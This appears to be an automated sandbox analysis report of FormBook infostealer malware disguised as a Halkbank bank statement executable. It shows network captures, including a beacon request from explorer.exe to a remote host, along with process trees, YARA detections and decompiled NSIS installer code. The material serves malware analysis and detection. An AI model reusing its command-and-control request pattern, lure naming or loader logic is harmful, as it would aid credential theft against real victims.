Feb 20, 2023 11:24:52.751612902 CET	164	IN	Data Raw: e3 8b cb 65 52 5f 26 0d 2a 65 df 52 74 2e 08 11 7d fb f5 8b fd 82 76 aa 04 6a 2f 60 75 24 d7 62 32 c1 c1 45 4d 07 8e 6e e9 66 77 5d 09 5b 2b e8 d5 0a ba 42 70 9f 2a da 2c 1d 1f eb 47 81 c6 a6 64 46 34 91 7b 33 13 aa 51 a2 35 a9 b6 1a cd 24 4e 47 Data Ascii: eR_&eRt.}vj/`u$b2EMnfw][+Bp,GdF4{3Q5$NG0$X,f4Q4-H4Q>gA#Lpm#:>G#?>7?0Eww(r`l4Ys=m(INHG0Fh
Feb 20, 2023 11:24:52.751674891 CET	165	IN	Data Raw: 70 1b 26 7b fb 87 db 30 d9 ed 35 6e 43 7d 3f 5f 72 1b 0e d7 f7 30 b7 e1 76 2b bf f3 0a 19 ef ed 8d 6e c5 f3 06 3e ea f6 55 79 1d cf 75 6b d3 bc 8e 3f bb 7d d1 f6 f6 72 b7 67 b5 cb f7 f1 f5 df 82 78 e5 e5 95 f8 bc 1b 10 df df d7 dd 80 f8 1e 3e ee Data Ascii: p&{05nC}?_r0v+n>Uyuk?}rgx>Tm7\|v.egW\|MMZEGFcm9t!\|^Vn%>mn'u8KrRM6{vv~Sw+9)6KobNn#b+HmAXr{56yv+6K2
Feb 20, 2023 11:24:52.751737118 CET	166	IN	Data Raw: 5e 64 b0 de 90 c1 8b 7b d3 4a d9 54 e6 cd a2 ed 19 65 a9 7b c2 c9 21 c7 e6 ae 7d 15 5e 8e 55 76 d7 ac 08 04 b8 be 05 8f bd ea 86 a2 0d 98 1b b4 71 ed 66 ca fd 02 c9 30 0f f9 cb 01 12 45 7a 94 40 38 a2 61 88 44 79 3b 6c 84 2a ee f6 d0 70 4e f0 26 Data Ascii: ^d{JTe{!}^Uvqf0Ez@8aDy;lpN&O"6@A>nmgTW!7)~-@2Cp]~=JN$2Q"S2L)\t\6:Ud!3s\|BuC3jg5^/lnnH_!s+)!P
Feb 20, 2023 11:24:52.751791000 CET	168	IN	Data Raw: d6 4b 76 bb f7 19 55 90 75 8e bc 72 99 bb 1c dc a5 79 e5 6a f1 af d2 3c fc 1c 9c 0f 12 f7 e1 ee 83 53 56 cb e8 a2 a8 44 53 ef 39 ba c1 55 5b 41 4e f0 19 c9 45 20 72 46 f2 68 2c 4b 59 21 e5 76 0d cf b7 ed d0 eb 8d c7 8e db f5 c3 91 81 43 7f 34 26 Data Ascii: KvUuryj<SVDS9U[ANE rFh,KY!vC4&q[x]JqCoa>OGW{7Iq:lroe]-SscP~!DlfU)D)#=eQ\*4Ai~z`
Feb 20, 2023 11:24:52.751837969 CET	169	IN	Data Raw: 21 f1 27 e8 e9 76 d7 d6 e0 b7 85 2c 47 77 bd 9e 7c b1 6d bd e7 58 c8 78 64 b9 1e b2 2c 4b 37 dc 5e 6c ba 1c 4b e3 7f ed dd c8 48 bc 72 38 54 85 43 86 84 79 64 f9 3d 1d fa 60 cb f5 04 79 1b 49 2e c1 4e 64 ad 92 a7 c9 3c f1 52 97 5e b0 88 35 49 18 Data Ascii: !'v,Gw\|mXxd,K7^lKHr8TCyd=`yI.Nd<R^5IIwhrpV/TK"p^vcWM@)N>!\#\N/_.+=rr<Ew?CsH>9%(4q$e>8^4IgtLOmNO/u8
Feb 20, 2023 11:24:52.751878977 CET	170	IN	Data Raw: 20 08 d9 26 27 eb cb 67 5e 48 0a 24 2c 4e ce 43 cb 74 f7 91 e9 fa ba e1 21 b3 eb e9 8e e1 07 25 21 c4 25 e3 24 6c b4 2c 9b 8d a4 64 5c 8f 0e 12 3a 5d ea c6 7e 64 1b 36 84 fe b6 e1 eb 4e 00 84 e0 bf 50 37 90 ec a1 a5 ea dd 6f 6b 06 91 a4 c9 b7 24 Data Ascii: &'g^H$,NCt!%!%$l,d\:]~d6NP7ok$OAS9l"4/iVR)hR17'(Aa+8"$d3#2,u8%4 *FKsJV :ot8-eN7VWm)J('jYs>9;Ky7{F;/
Feb 20, 2023 11:24:52.751914024 CET	170	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49705	66.235.200.146	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2023 11:24:55.054128885 CET	171	OUT	GET /ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XpEJ5LEY61yEIXoQ==&kTj=94JTJ5e-oG HTTP/1.1 Host: www.ladybillplanet.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 20, 2023 11:24:55.528533936 CET	171	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 20 Feb 2023 10:24:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-UA-Compatible: IE=edge X-Redirect-By: WordPress Location: http://ladybillplanet.com/ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XpEJ5LEY61yEIXoQ==&kTj=94JTJ5e-oG host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: MISS Server: cloudflare CF-RAY: 79c689081b4cbbdf-FRA Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exePID: 2064, Parent PID: 3528

General

Target ID:	0
Start time:	11:22:54
Start date:	20/02/2023
Path:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
Imagebase:	0x400000
File size:	377609 bytes
MD5 hash:	0D84005AF71574A568567967E666CDA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: vokkqsp.exePID: 1240, Parent PID: 2064

General

Target ID:	1
Start time:	11:22:55
Start date:	20/02/2023
Path:	C:\Users\user\AppData\Local\Temp\vokkqsp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf
Imagebase:	0x400000
File size:	304640 bytes
MD5 hash:	D2FAF24547268D9525AE7E78CD4DE87A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 13%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5584, Parent PID: 1240

General

Target ID:	2
Start time:	11:22:55
Start date:	20/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vokkqsp.exePID: 2448, Parent PID: 1240

General

Target ID:	3
Start time:	11:22:56
Start date:	20/02/2023
Path:	C:\Users\user\AppData\Local\Temp\vokkqsp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\vokkqsp.exe
Imagebase:	0x400000
File size:	304640 bytes
MD5 hash:	D2FAF24547268D9525AE7E78CD4DE87A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 2448

General

Target ID:	4
Start time:	11:23:01
Start date:	20/02/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: colorcpl.exePID: 5260, Parent PID: 3528

General

Target ID:	5
Start time:	11:23:13
Start date:	20/02/2023
Path:	C:\Windows\SysWOW64\colorcpl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\colorcpl.exe
Imagebase:	0x12b0000
File size:	86528 bytes
MD5 hash:	746F3B5E7652EA0766BA10414D317981
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exePID: 2064, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	15.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.4%
Total number of Nodes:	1385
Total number of Limit Nodes:	25

Executed Functions

Function 00403640 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				WCHAR* _t92;
				char* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t119;
				intOrPtr* _t123;
				void* _t137;
				void* _t143;
				void* _t148;
				void* _t152;
				void* _t157;
				signed int _t167;
				void* _t170;
				void* _t175;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr* _t179;
				int _t188;
				void* _t189;
				void* _t198;
				signed int _t204;
				signed int _t209;
				signed int _t214;
				signed int _t216;
				int* _t218;
				signed int _t226;
				signed int _t229;
				CHAR* _t231;
				char* _t232;
				signed int _t233;
				WCHAR* _t234;
				void* _t250;

				_t216 = 0x20;
				_t188 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x42a318 = _v324.dwBuildNumber;
				 *0x42a31c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x42a31e != 0x600) {
					_t179 = E00406A35(_t188);
					if(_t179 != _t188) {
						 *_t179(0xc00);
					}
				}
				_t231 = "UXTHEME";
				do {
					E004069C5(_t231); // executed
					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
				} while ( *_t231 != 0);
				E00406A35(0xb);
				 *0x42a264 = E00406A35(9);
				_t88 = E00406A35(7);
				if(_t88 != _t188) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x42a31c =  *0x42a31c | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t188); // executed
				 *0x42a320 = _t88;
				SHGetFileInfoW(0x421708, _t188,  &_v1016, 0x2b4, _t188); // executed
				E00406668(0x429260, L"NSIS Error");
				_t92 = GetCommandLineW();
				_t232 = L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"";
				E00406668(_t232, _t92);
				_t94 = _t232;
				_t233 = 0x22;
				 *0x42a260 = 0x400000;
				_t250 = L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"" - _t233; // 0x22
				if(_t250 == 0) {
					_t216 = _t233;
					_t94 =  &M00435002;
				}
				_t198 = CharNextW(E00405F64(_t94, _t216));
				_v16 = _t198;
				while(1) {
					_t97 =  *_t198;
					_t251 = _t97 - _t188;
					if(_t97 == _t188) {
						break;
					}
					_t209 = 0x20;
					__eflags = _t97 - _t209;
					if(_t97 != _t209) {
						L17:
						__eflags =  *_t198 - _t233;
						_v12 = _t209;
						if( *_t198 == _t233) {
							_v12 = _t233;
							_t198 = _t198 + 2;
							__eflags = _t198;
						}
						__eflags =  *_t198 - 0x2f;
						if( *_t198 != 0x2f) {
							L32:
							_t198 = E00405F64(_t198, _v12);
							__eflags =  *_t198 - _t233;
							if(__eflags == 0) {
								_t198 = _t198 + 2;
								__eflags = _t198;
							}
							continue;
						} else {
							_t198 = _t198 + 2;
							__eflags =  *_t198 - 0x53;
							if( *_t198 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t214 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t226 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t214;
								__eflags =  *_t198 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214);
								if( *_t198 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t209 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t229 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t209;
									__eflags =  *(_t198 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209);
									if( *(_t198 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209)) {
										L31:
										_t233 = 0x22;
										goto L32;
									}
									__eflags =  *_t198 - _t229;
									if( *_t198 == _t229) {
										 *(_t198 - 4) = _t188;
										__eflags = _t198;
										E00406668(L"C:\\Users\\jones\\AppData\\Local\\Temp", _t198);
										L37:
										_t234 = L"C:\\Users\\jones\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t234);
										_t116 = E0040360F(_t198, _t251);
										_t252 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E004030D0(_t254, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t188) {
												L68:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												if(_v8 == _t188) {
													if( *0x42a2f4 == _t188) {
														L77:
														_t119 =  *0x42a30c;
														if(_t119 != 0xffffffff) {
															_v24 = _t119;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
													}
													_t123 = E00406A35(4);
													if(_t123 == _t188) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t188);
														_push(_t188);
														_push(_t188);
														if( *_t123() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405CC8(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x42a27c == _t188) {
												L51:
												 *0x42a30c =  *0x42a30c | 0xffffffff;
												_v24 = E00403D17(_t264);
												goto L68;
											}
											_t218 = E00405F64(L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"", _t188);
											if(_t218 < L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"") {
												L48:
												_t263 = _t218 - L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"";
												_v8 = L"Error launching installer";
												if(_t218 < L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"") {
													_t189 = E00405C33(__eflags);
													lstrcatW(_t234, L"~nsu");
													__eflags = _t189;
													if(_t189 != 0) {
														lstrcatW(_t234, "A");
													}
													lstrcatW(_t234, L".tmp");
													_t219 = L"C:\\Users\\jones\\Desktop";
													_t137 = lstrcmpiW(_t234, L"C:\\Users\\jones\\Desktop");
													__eflags = _t137;
													if(_t137 == 0) {
														L67:
														_t188 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t189;
														_push(_t234);
														if(_t189 == 0) {
															E00405C16();
														} else {
															E00405B99();
														}
														SetCurrentDirectoryW(_t234);
														__eflags = L"C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
														if(__eflags == 0) {
															E00406668(L"C:\\Users\\jones\\AppData\\Local\\Temp", _t219);
														}
														E00406668(0x42b000, _v16);
														_t201 = "A" & 0x0000ffff;
														_t143 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t143;
														_v12 = 0x1a;
														 *0x42b800 = _t143;
														do {
															E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x120)));
															DeleteFileW(0x420f08);
															__eflags = _v8;
															if(_v8 != 0) {
																_t148 = CopyFileW(L"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe", 0x420f08, 1);
																__eflags = _t148;
																if(_t148 != 0) {
																	E00406428(_t201, 0x420f08, 0);
																	E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x124)));
																	_t152 = E00405C4B(0x420f08);
																	__eflags = _t152;
																	if(_t152 != 0) {
																		CloseHandle(_t152);
																		_v8 = 0;
																	}
																}
															}
															 *0x42b800 =  *0x42b800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E00406428(_t201, _t234, 0);
														goto L67;
													}
												}
												 *_t218 = _t188;
												_t221 =  &(_t218[2]);
												_t157 = E0040603F(_t263,  &(_t218[2]));
												_t264 = _t157;
												if(_t157 == 0) {
													goto L68;
												}
												E00406668(L"C:\\Users\\jones\\AppData\\Local\\Temp", _t221);
												E00406668(L"C:\\Users\\jones\\AppData\\Local\\Temp", _t221);
												_v8 = _t188;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t204 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t167 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
											while( *_t218 != _t204 || _t218[1] != _t167) {
												_t218 = _t218;
												if(_t218 >= L"\"C:\\Users\\jones\\Desktop\\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe\"") {
													continue;
												}
												break;
											}
											_t188 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t234, 0x3fb);
										lstrcatW(_t234, L"\\Temp");
										_t170 = E0040360F(_t198, _t252);
										_t253 = _t170;
										if(_t170 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t234);
										lstrcatW(_t234, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t234);
										SetEnvironmentVariableW(L"TMP", _t234);
										_t175 = E0040360F(_t198, _t253);
										_t254 = _t175;
										if(_t175 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
									goto L29;
								}
								_t177 =  *((intOrPtr*)(_t198 + 8));
								__eflags = _t177 - 0x20;
								if(_t177 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t177 - _t188;
								if(_t177 != _t188) {
									goto L29;
								}
								goto L28;
							}
							_t178 =  *((intOrPtr*)(_t198 + 2));
							__eflags = _t178 - _t209;
							if(_t178 == _t209) {
								L23:
								 *0x42a300 = 1;
								goto L24;
							}
							__eflags = _t178 - _t188;
							if(_t178 != _t188) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t198 = _t198 + 2;
						__eflags =  *_t198 - _t209;
					} while ( *_t198 == _t209);
					goto L17;
				}
				goto L37;
			}

0x0040364e
0x0040364f
0x00403656
0x00403659
0x00403660
0x00403663
0x00403676
0x0040367c
0x0040367f
0x00403682
0x00403690
0x00403698
0x004036a3
0x004036bc
0x004036be
0x004036c6
0x004036c6
0x004036d1
0x004036d3
0x004036d3
0x004036e8
0x0040370d
0x0040371b
0x0040371e
0x00403725
0x0040372c
0x0040372c
0x00403725
0x0040372e
0x00403733
0x00403734
0x00403740
0x00403744
0x0040374b
0x00403759
0x0040375e
0x00403765
0x00403769
0x0040376d
0x0040376f
0x0040376f
0x0040376d
0x00403776
0x0040377d
0x00403783
0x0040379b
0x004037ab
0x004037b0
0x004037b6
0x004037bd
0x004037c4
0x004037c6
0x004037c7
0x004037d1
0x004037d8
0x004037da
0x004037dc
0x004037dc
0x004037ef
0x004037f1
0x004038eb
0x004038eb
0x004038ee
0x004038f1
0x00000000
0x00000000
0x004037fb
0x004037fc
0x004037ff
0x00403808
0x00403808
0x0040380b
0x0040380e
0x00403811
0x00403814
0x00403814
0x00403814
0x00403815
0x00403819
0x004038d9
0x004038e2
0x004038e4
0x004038e7
0x004038ea
0x004038ea
0x004038ea
0x00000000
0x0040381f
0x00403820
0x00403821
0x00403825
0x0040383f
0x00403846
0x00403859
0x0040385a
0x0040386f
0x00403874
0x00403876
0x00403878
0x00403894
0x0040389b
0x004038ae
0x004038af
0x004038c4
0x004038ca
0x004038cc
0x004038ce
0x004038d6
0x004038d8
0x00000000
0x004038d8
0x004038d2
0x004038d4
0x004038f9
0x004038fd
0x00403906
0x0040390b
0x00403911
0x0040391c
0x0040391e
0x00403923
0x00403925
0x0040397d
0x00403982
0x0040398b
0x00403992
0x00403995
0x00403b6c
0x00403b6c
0x00403b71
0x00403b7a
0x00403b97
0x00403c0f
0x00403c0f
0x00403c17
0x00403c19
0x00403c19
0x00403c1f
0x00403c1f
0x00403bae
0x00403bba
0x00403bcb
0x00403bd2
0x00403bd9
0x00403bd9
0x00403be1
0x00403bed
0x00403bfb
0x00403c06
0x00000000
0x00000000
0x00000000
0x00403bef
0x00403bef
0x00403bf0
0x00403bf2
0x00403bf3
0x00403bf4
0x00403bf9
0x00403c08
0x00403c0a
0x00000000
0x00403c0a
0x00000000
0x00403bf9
0x00403bed
0x00403b84
0x00403b8b
0x00403b8b
0x004039a1
0x00403a48
0x00403a48
0x00403a54
0x00000000
0x00403a54
0x004039b2
0x004039ba
0x00403a0c
0x00403a0c
0x00403a12
0x00403a19
0x00403a67
0x00403a69
0x00403a6e
0x00403a70
0x00403a78
0x00403a78
0x00403a83
0x00403a88
0x00403a8f
0x00403a95
0x00403a97
0x00403b6a
0x00403b6a
0x00403b6a
0x00000000
0x00403a9d
0x00403a9d
0x00403a9f
0x00403aa0
0x00403aa9
0x00403aa2
0x00403aa2
0x00403aa2
0x00403aaf
0x00403ab7
0x00403abe
0x00403ac6
0x00403ac6
0x00403ad3
0x00403adf
0x00403ae9
0x00403ae9
0x00403aeb
0x00403af2
0x00403afc
0x00403b08
0x00403b0e
0x00403b14
0x00403b17
0x00403b21
0x00403b27
0x00403b29
0x00403b2d
0x00403b3e
0x00403b44
0x00403b49
0x00403b4b
0x00403b4e
0x00403b54
0x00403b54
0x00403b4b
0x00403b29
0x00403b57
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b65
0x00000000
0x00403b65
0x00403a97
0x00403a1b
0x00403a1e
0x00403a22
0x00403a27
0x00403a29
0x00000000
0x00000000
0x00403a35
0x00403a40
0x00403a45
0x00000000
0x00403a45
0x004039c3
0x004039db
0x004039ec
0x004039ed
0x004039f1
0x004039f3
0x00403a01
0x00403a08
0x00000000
0x00000000
0x00000000
0x00403a08
0x00403a0a
0x00000000
0x00403a0a
0x0040392d
0x00403939
0x0040393e
0x00403943
0x00403945
0x00000000
0x00000000
0x0040394d
0x00403955
0x00403966
0x0040396e
0x00403970
0x00403975
0x00403977
0x00000000
0x00000000
0x00000000
0x00403977
0x00000000
0x004038d4
0x0040387d
0x0040387f
0x00000000
0x00000000
0x00403881
0x00403885
0x00403889
0x00403890
0x00403890
0x00403890
0x00403890
0x00000000
0x00403890
0x0040388b
0x0040388e
0x00000000
0x00000000
0x00000000
0x0040388e
0x00403827
0x0040382b
0x0040382e
0x00403835
0x00403835
0x00000000
0x00403835
0x00403830
0x00403833
0x00000000
0x00000000
0x00000000
0x00403833
0x00000000
0x00000000
0x00000000
0x00403801
0x00403801
0x00403802
0x00403803
0x00403803
0x00000000
0x00403801
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403663
GetVersionExW.KERNEL32(?), ref: 0040368C
GetVersionExW.KERNEL32(0000011C), ref: 004036A3
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
OleInitialize.OLE32(00000000), ref: 0040377D
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe",00000020,"C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe",00000000), ref: 004037E9
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 0040391C
